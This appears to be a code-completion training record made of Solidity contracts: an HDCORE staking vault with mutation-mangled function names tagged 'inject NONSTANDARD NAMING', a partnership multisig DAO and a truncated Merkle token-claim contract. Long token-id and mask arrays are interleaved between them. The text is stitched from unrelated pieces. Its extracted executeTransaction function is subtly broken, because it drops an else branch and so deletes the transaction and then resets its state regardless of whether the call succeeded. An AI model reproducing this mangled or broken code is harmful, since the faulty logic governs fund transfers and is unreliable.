Add a new token pool. Can only be called by the owner. // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus function ADD659( //inject NONSTANDARD NAMING uint256 _allocPoint, IERC20 _token, bool _withUpdate, bool _withdrawable ) public ONLYOWNER691 { if (_withUpdate) { MASSUPDATEPOOLS941(); } uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { require(poolInfo[pid].token != _token,"Error pool already added"); } totalAllocPoint = totalAllocPoint.ADD659(_allocPoint); poolInfo.push( PoolInfo({ token: _token, allocPoint: _allocPoint, accHdcorePerShare: 0, withdrawable : _withdrawable }) ); } // Update the given pool's HDCOREs allocation point. Can only be called by the owner. // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus function SET408( //inject NONSTANDARD NAMING uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public ONLYOWNER691 { if (_withUpdate) { MASSUPDATEPOOLS941(); } totalAllocPoint = totalAllocPoint.SUB877(poolInfo[_pid].allocPoint).ADD659( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } // Update the given pool's ability to withdraw tokens // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus function SETPOOLWITHDRAWABLE817( //inject NONSTANDARD NAMING uint256 _pid, bool _withdrawable ) public ONLYOWNER691 { poolInfo[_pid].withdrawable = _withdrawable; } // Sets the dev fee for this contract // defaults at 7.24% // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus uint16 DEV_FEE; function SETDEVFEE755(uint16 _DEV_FEE) public ONLYOWNER691 { //inject NONSTANDARD NAMING require(_DEV_FEE <= 1000, 'Dev fee clamped at 10%'); DEV_FEE = _DEV_FEE; } uint256 pending_DEV_rewards; // View function to see pending HDCOREs on frontend. function PENDINGHDCORE546(uint256 _pid, address _user) //inject NONSTANDARD NAMING external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accHdcorePerShare = pool.accHdcorePerShare; return user.amount.MUL487(accHdcorePerShare).DIV156(1e12).SUB877(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function MASSUPDATEPOOLS941() public { //inject NONSTANDARD NAMING console.LOG714("Mass Updating Pools"); uint256 length = poolInfo.length; uint allRewards; for (uint256 pid = 0; pid < length; ++pid) { allRewards = allRewards.ADD659(UPDATEPOOL374(pid)); } pendingRewards = pendingRewards.SUB877(allRewards); } // ---- // Function that adds pending rewards, called by the HDCORE token. // ---- uint256 private hdcoreBalance; function ADDPENDINGREWARDS319(uint256 _) public { //inject NONSTANDARD NAMING uint256 newRewards = hdcore.BALANCEOF536(address(this)).SUB877(hdcoreBalance); if(newRewards > 0) { hdcoreBalance = hdcore.BALANCEOF536(address(this)); // If there is no change the balance didn't change pendingRewards = pendingRewards.ADD659(newRewards); rewardsInThisEpoch = rewardsInThisEpoch.ADD659(newRewards); } } // Update reward variables of the given pool to be up-to-date. function UPDATEPOOL374(uint256 _pid) internal returns (uint256 hdcoreRewardWhole) { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; uint256 tokenSupply = pool.token.BALANCEOF536(address(this)); if (tokenSupply == 0) { // avoids division by 0 errors return 0; } hdcoreRewardWhole = pendingRewards // Multiplies pending rewards by allocation point of this pool and then total allocation .MUL487(pool.allocPoint) // getting the percent of total pending rewards this pool should get .DIV156(totalAllocPoint); // we can do this because pools are only mass updated uint256 hdcoreRewardFee = hdcoreRewardWhole.MUL487(DEV_FEE).DIV156(10000); uint256 hdcoreRewardToDistribute = hdcoreRewardWhole.SUB877(hdcoreRewardFee); pending_DEV_rewards = pending_DEV_rewards.ADD659(hdcoreRewardFee); pool.accHdcorePerShare = pool.accHdcorePerShare.ADD659( hdcoreRewardToDistribute.MUL487(1e12).DIV156(tokenSupply) ); } // Deposit tokens to HdcoreVault for HDCORE allocation. function DEPOSIT767(uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; MASSUPDATEPOOLS941(); // Transfer pending tokens // to user UPDATEANDPAYOUTPENDING193(_pid, pool, user, msg.sender); //Transfer in the amounts from user // save gas if(_amount > 0) { pool.token.SAFETRANSFERFROM64(address(msg.sender), address(this), _amount); user.amount = user.amount.ADD659(_amount); } user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12); emit DEPOSIT941(msg.sender, _pid, _amount); } // Test coverage // [x] Does user get the deposited amounts? // [x] Does user that its deposited for update correcty? // [x] Does the depositor get their tokens decreased function DEPOSITFOR318(address depositFor, uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING // requires no allowances PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][depositFor]; MASSUPDATEPOOLS941(); // Transfer pending tokens // to user UPDATEANDPAYOUTPENDING193(_pid, pool, user, depositFor); // Update the balances of person that amount is being deposited for if(_amount > 0) { pool.token.SAFETRANSFERFROM64(address(msg.sender), address(this), _amount); user.amount = user.amount.ADD659(_amount); // This is depositedFor address } user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12); emit DEPOSIT941(depositFor, _pid, _amount); } // Test coverage // [x] Does allowance update correctly? function SETALLOWANCEFORPOOLTOKEN927(address spender, uint256 _pid, uint256 value) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; pool.allowance[msg.sender][spender] = value; emit APPROVAL172(msg.sender, spender, _pid, value); } // Test coverage // [x] Does allowance decrease? // [x] Do oyu need allowance // [x] Withdraws to correct address function WITHDRAWFROM678(address owner, uint256 _pid, uint256 _amount) public{ //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.allowance[owner][msg.sender] >= _amount, "withdraw: insufficient allowance"); pool.allowance[owner][msg.sender] = pool.allowance[owner][msg.sender].SUB877(_amount); _WITHDRAW26(_pid, _amount, owner, msg.sender); } // Withdraw tokens from HdcoreVault. function WITHDRAW844(uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING _WITHDRAW26(_pid, _amount, msg.sender, msg.sender); } // Low level withdraw function function _WITHDRAW26(uint256 _pid, uint256 _amount, address from, address to) internal { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.withdrawable, "Withdrawing from this pool is disabled"); UserInfo storage user = userInfo[_pid][from]; require(user.amount >= _amount, "withdraw: not good"); MASSUPDATEPOOLS941(); UPDATEANDPAYOUTPENDING193(_pid, pool, user, from); // Update balances of from this is not withdrawal but claiming HDCORE farmed if(_amount > 0) { user.amount = user.amount.SUB877(_amount); pool.token.SAFETRANSFER239(address(to), _amount); } user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12); emit WITHDRAW483(to, _pid, _amount); } function CLAIM95(uint256 _pid) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.withdrawable, "Withdrawing from this pool is disabled"); UserInfo storage user = userInfo[_pid][msg.sender]; MASSUPDATEPOOLS941(); UPDATEANDPAYOUTPENDING193(_pid, pool, user, msg.sender); } function UPDATEANDPAYOUTPENDING193(uint256 _pid, PoolInfo storage pool, UserInfo storage user, address from) internal { //inject NONSTANDARD NAMING if(user.amount == 0) return; uint256 pending = user .amount .MUL487(pool.accHdcorePerShare) .DIV156(1e12) .SUB877(user.rewardDebt); if(pending > 0) { SAFEHDCORETRANSFER939(from, pending); } } // function that lets owner/governance contract // approve allowance for any token inside this contract // This means all future UNI like airdrops are covered // And at the same time allows us to give allowance to strategy contracts. // Upcoming cYFI etc vaults strategy contracts will use this function to manage and farm yield on value locked function SETSTRATEGYCONTRACTORDISTRIBUTIONCONTRACTALLOWANCE131(address tokenAddress, uint256 _amount, address contractAddress) public ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING require(ISCONTRACT107(contractAddress), "Recipent is not a smart contract, BAD"); require(block.number > contractStartBlock.ADD659(95_000), "Governance setup grace period not over"); // about 2weeks IERC20(tokenAddress).APPROVE926(contractAddress, _amount); } function ISCONTRACT107(address addr) public returns (bool) { //inject NONSTANDARD NAMING uint size; assembly { size := extcodesize(addr) } return size > 0; } // Withdraw without caring about rewards. EMERGENCY ONLY. // !Caution this will remove all your pending rewards! function EMERGENCYWITHDRAW608(uint256 _pid) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.withdrawable, "Withdrawing from this pool is disabled"); UserInfo storage user = userInfo[_pid][msg.sender]; pool.token.SAFETRANSFER239(address(msg.sender), user.amount); emit EMERGENCYWITHDRAW770(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; // No mass update dont update pending rewards } // Safe hdcore transfer function, just in case if rounding error causes pool to not have enough HDCOREs. function SAFEHDCORETRANSFER939(address _to, uint256 _amount) internal { //inject NONSTANDARD NAMING if(_amount == 0) return; uint256 hdcoreBal = hdcore.BALANCEOF536(address(this)); if (_amount > hdcoreBal) { console.LOG714("transfering out for to person:", _amount); console.LOG714("Balance of this address is :", hdcoreBal); hdcore.TRANSFER353(_to, hdcoreBal); hdcoreBalance = hdcore.BALANCEOF536(address(this)); } else { hdcore.TRANSFER353(_to, _amount); hdcoreBalance = hdcore.BALANCEOF536(address(this)); } if(pending_DEV_rewards > 0) { uint256 devSend = pending_DEV_rewards; // Avoid recursive loop pending_DEV_rewards = 0; SAFEHDCORETRANSFER939(devaddr, devSend); } } // Update dev address by the previous dev. // Note onlyOwner functions are meant for the governance contract // allowing HDCORE governance token holders to do this functions. function SETDEVFEERECIEVER7(address _devaddr) public ONLYOWNER691 { //inject NONSTANDARD NAMING devaddr = _devaddr; } address private _superAdmin; event SUPERADMINTRANSFERED362(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING function SUPERADMIN402() public view returns (address) { //inject NONSTANDARD NAMING return _superAdmin; } modifier ONLYSUPERADMIN581() { //inject NONSTANDARD NAMING require(_superAdmin == _MSGSENDER195(), "Super admin : caller is not super admin."); _; } // Assisns super admint to address 0, making it unreachable forever function BURNSUPERADMIN143() public virtual ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING emit SUPERADMINTRANSFERED362(_superAdmin, address(0)); _superAdmin = address(0); } // Super admin can transfer its powers to another address function NEWSUPERADMIN397(address newOwner) public virtual ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit SUPERADMINTRANSFERED362(_superAdmin, newOwner); _superAdmin = newOwner; } }
inject NONSTANDARD NAMING
function LOG714(string memory p0, uint p1, uint p2, address p3) internal view {
14,087,794
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 2018, 27, 3461, 12, 1080, 3778, 293, 20, 16, 2254, 293, 21, 16, 2254, 293, 22, 16, 1758, 293, 23, 13, 2713, 1476, 288, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/// Partnership /// Requires all pre-defined partners agreement on transactions and operations. pragma solidity ^0.4.21; contract Partnership { event Funded(); event Deposit(address _from, uint _value); event TransactionProposed(bytes32 _id, address _initiator, string _description); event TransactionCanceled(bytes32 _id, address _actor); event TransactionPassed(bytes32 _id, address _finalSigner, string _description); event TransactionSent(bytes32 _transaction, address _executor, string _description); event Withdrawal(address _partner, uint _amount); /// Price in wei of each equal share of the partnership uint public sharePrice; /// Flag indicating whether or not all partners have paid for their share bool public funded; /// Array of partner addresses address[] public partners; /// Collection of partner records mapping(address => Partner) public partnerRecords; /// Count of partners uint public partnerCount; /// Count of partners who have paid for their share uint public paidPartnerCount; /// Collection of pending transactions (ie send X ETH to Y with Z data) mapping(bytes32 => Transaction) public transactions; /// Count of transactions awaiting confirmation, execution, or cancelation uint public activeTransactionCount; /// Available withdrawals mapping(address => uint) public withdrawableAmounts; struct Partner { /// Flag indicating that this record has been initialized bool isPartner; /// Flag indicating that the partner has paid for their share bool paid; /// Total amount loaned to the partnership by the partner uint loanBalance; } struct Transaction { /// Flag indicating that this record has been initialized bool valid; /// Proposed recipient for the transaction (0 indicates a new contract will be created) address to; /// Proposed amount to send (0 indicates no wei) uint value; /// Optional array of data to send with the transaction bytes data; /// Optional description of proposed transaction string description; /// Account that created the transaction address creator; /// Total number of partners that have confirmed/voted uint voteCount; /// Collection of partners that have confirmed/voted mapping(address => uint) votes; /// Flag indicating that all partners have confirmed bool passed; /// Flag indicatint that the transaction has been sent bool sent; } modifier onlyWhenFunded { require (funded); _; } modifier onlyByPartner { require (isPartner(msg.sender)); _; } modifier onlyByDao { require (msg.sender == address(this)); _; } modifier onlyValidTransaction(bytes32 _id) { require (transactions[_id].valid); _; } modifier onlyPassedTransaction(bytes32 _id) { require (transactions[_id].passed); _; } modifier onlyUnpassedTransaction(bytes32 _id) { require (!transactions[_id].passed); _; } modifier onlyTransactionCreator(bytes32 _id) { require (transactions[_id].creator == msg.sender); _; } modifier onlyUnconfirmedBySender(bytes32 _id) { require (transactions[_id].votes[msg.sender] != 1); _; } modifier mustBePartner(address _recipient) { require (isPartner(_recipient)); _; } modifier noMoreThanLoan(address _recipient, uint _amount) { require (_amount <= partnerRecords[_recipient].loanBalance); _; } modifier cannotExceedWithdrawableAmount(uint _amount) { require (_amount <= withdrawableAmounts[msg.sender]); _; } modifier cannotExceedContractBalance(uint _amount) { require (_amount <= (address(this).balance)); _; } modifier onlyValidBeneficiary(address _beneficiary) { // ignore unset beneficiary require (_beneficiary != 0); // prevent lost balance require (_beneficiary != address(this)); _; } /// Constructor to set up the partnership: an array of addresses for the `_partners` /// and the `_sharePrice` that each partner must send to the contract for the /// partnership to launch. constructor(address[] _partners, uint _sharePrice) public { funded = false; partners = _partners; sharePrice = _sharePrice; for (uint i = 0; i < _partners.length; i++) { // each partner must have a different address, or the contract can't launch. require(!partnerRecords[_partners[i]].isPartner); partnerRecords[_partners[i]].isPartner = true; } partnerCount = _partners.length; paidPartnerCount = 0; } /// This executes when funds are sent to the contract function() public payable { if (msg.value > 0) { if (funded) { if (isPartner(msg.sender)) { partnerRecords[msg.sender].loanBalance += msg.value; } } else { require (isPartner(msg.sender)); require (!partnerRecords[msg.sender].paid); require (msg.value == sharePrice); partnerRecords[msg.sender].paid = true; paidPartnerCount = paidPartnerCount + 1; if (paidPartnerCount == partnerCount) { funded = true; emit Funded(); } } emit Deposit(msg.sender, msg.value); } } /// Adds a proposed transaction to be confirmed by other partners function proposeTransaction(address _to, uint _value, bytes _data, string _description) onlyWhenFunded onlyByPartner external returns (bytes32) { // generate hash for easy specification in confirm and execute bytes32 id = keccak256(abi.encodePacked(msg.data, block.number)); // grab the presumably blank transaction Transaction storage transaction = transactions[id]; transaction.valid = true; transaction.to = _to; transaction.value = _value; transaction.data = _data; transaction.description = _description; transaction.creator = msg.sender; transaction.voteCount = 1; transaction.votes[msg.sender] = 1; transaction.passed = false; transaction.sent = false; activeTransactionCount += 1; emit TransactionProposed(id, msg.sender, _description); return id; } /// Cancels a transaction that has not yet passed /* solium-disable-next-line blank-lines */ function cancelTransaction(bytes32 _id) onlyWhenFunded onlyByPartner onlyValidTransaction(_id) onlyUnpassedTransaction(_id) onlyTransactionCreator(_id) external { delete transactions[_id]; activeTransactionCount -= 1; emit TransactionCanceled(_id, msg.sender); } /// Confirms an existing proposed transaction function confirmTransaction(bytes32 _id) onlyWhenFunded onlyByPartner onlyValidTransaction(_id) onlyUnconfirmedBySender(_id) external { Transaction storage transaction = transactions[_id]; // register the vote transaction.voteCount += 1; transaction.votes[msg.sender] = 1; if (transaction.voteCount == partnerCount) { transaction.passed = true; emit TransactionPassed(_id, msg.sender, transaction.description); } } /// Executes a passed transaction function executeTransaction(bytes32 _id) onlyWhenFunded onlyByPartner onlyPassedTransaction(_id) external { Transaction storage transaction = transactions[_id]; // register the sent transaction transaction.sent = true; activeTransactionCount -= 1; // send the transaction /* solium-disable-next-line security/no-call-value */ if (transaction.to.call.value(transaction.value)(transaction.data)) { emit TransactionSent(_id, msg.sender, transaction.description); // clear the transaction structure to free memory delete transactions[_id]; } else { // roll back if the call failed transaction.sent = false; activeTransactionCount += 1; } } /// Distribute ETH to a partner or external recipient function distribute(address _recipient, uint _amount) onlyByDao external { withdrawableAmounts[_recipient] += _amount; } /// Distribute ETH evenly amongst all partners function distributeEvenly(uint _amount) onlyByDao external { uint payout = _amount / partnerCount; for (uint i = 0; i < partnerCount; i++) { withdrawableAmounts[partners[i]] += payout; } } /// Mark down partner's loan and make it available for withdrawal function repayLoan(address _recipient, uint _amount) onlyByDao mustBePartner(_recipient) noMoreThanLoan(_recipient, _amount) external { partnerRecords[_recipient].loanBalance -= _amount; withdrawableAmounts[_recipient] += _amount; } /// Allow partner or external recipient to withdraw funds marked as withdrawable function withdraw(uint _amount) onlyWhenFunded cannotExceedWithdrawableAmount(_amount) cannotExceedContractBalance(_amount) external { // mark the withdrawal as successful withdrawableAmounts[msg.sender] -= _amount; // Log the withdrawal emit Withdrawal(msg.sender, _amount); // send the wei; if this fails the transaction fails. msg.sender.transfer(_amount); } /// Dissolve DAO and send the remaining ETH to a beneficiary function dissolve(address _beneficiary) onlyByDao onlyValidBeneficiary(_beneficiary) external { selfdestruct(_beneficiary); } function isPartner(address _address) view internal returns (bool) { return partnerRecords[_address].isPartner; } }
Executes a passed transaction register the sent transaction send the transaction solium-disable-next-line security/no-call-value */ clear the transaction structure to free memory roll back if the call failed
function executeTransaction(bytes32 _id) onlyWhenFunded onlyByPartner onlyPassedTransaction(_id) external { Transaction storage transaction = transactions[_id]; transaction.sent = true; activeTransactionCount -= 1; if (transaction.to.call.value(transaction.value)(transaction.data)) { emit TransactionSent(_id, msg.sender, transaction.description); delete transactions[_id]; transaction.sent = false; activeTransactionCount += 1; } }
1,787,071
[ 1, 9763, 279, 2275, 2492, 1744, 326, 3271, 2492, 1366, 326, 2492, 3704, 5077, 17, 8394, 17, 4285, 17, 1369, 4373, 19, 2135, 17, 1991, 17, 1132, 342, 2424, 326, 2492, 3695, 358, 4843, 3778, 5824, 1473, 309, 326, 745, 2535, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1836, 3342, 12, 3890, 1578, 389, 350, 13, 1338, 9434, 42, 12254, 1338, 858, 1988, 1224, 1338, 22530, 3342, 24899, 350, 13, 3903, 288, 203, 203, 565, 5947, 2502, 2492, 273, 8938, 63, 67, 350, 15533, 203, 203, 565, 2492, 18, 7569, 273, 638, 31, 203, 203, 565, 2695, 3342, 1380, 3947, 404, 31, 203, 203, 565, 309, 261, 7958, 18, 869, 18, 1991, 18, 1132, 12, 7958, 18, 1132, 21433, 7958, 18, 892, 3719, 288, 203, 203, 1377, 3626, 5947, 7828, 24899, 350, 16, 1234, 18, 15330, 16, 2492, 18, 3384, 1769, 203, 203, 1377, 1430, 8938, 63, 67, 350, 15533, 203, 1377, 2492, 18, 7569, 273, 629, 31, 203, 203, 1377, 2695, 3342, 1380, 1011, 404, 31, 203, 565, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-07-31 */ pragma solidity ^0.5.12; /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } //TODO add safemath interface IDPR { function transferFrom(address _spender, address _to, uint256 _amount) external returns(bool); function transfer(address _to, uint256 _amount) external returns(bool); function balanceOf(address _owner) external view returns(uint256); } contract Claim { using SafeMath for uint256; IDPR public dpr; //system info address public owner; uint256 public total_release_periods = 212; uint256 public start_time = 1627776000; //2021 年 05 月 10 日 08:00 bool public pause = true; // uer info mapping(address=>uint256) public total_lock_amount; mapping(address=>uint256) public release_per_period; mapping(address=>uint256) public user_released; //=====events======= event claim(address _addr, uint256 _amount); event distribute(address _addr, uint256 _amount); event OwnerTransfer(address _newOwner); //====modifiers==== modifier onlyOwner(){ require(owner == msg.sender, "MerkleClaim: Not Owner"); _; } modifier whenNotPaused(){ require(pause == false, "MerkleClaim: Pause"); _; } constructor(address _token) public { dpr = IDPR(_token); owner = msg.sender; } function transferOwnerShip(address _newOwner) onlyOwner external { require(_newOwner != address(0), "MerkleClaim: Wrong owner"); owner = _newOwner; emit OwnerTransfer(_newOwner); } function distributeAndLock(address _addr, uint256 _amount) external onlyOwner{ lockTokens(_addr, _amount); emit distribute(_addr, _amount); } function lockTokens(address _addr, uint256 _amount) private{ total_lock_amount[_addr] = _amount; 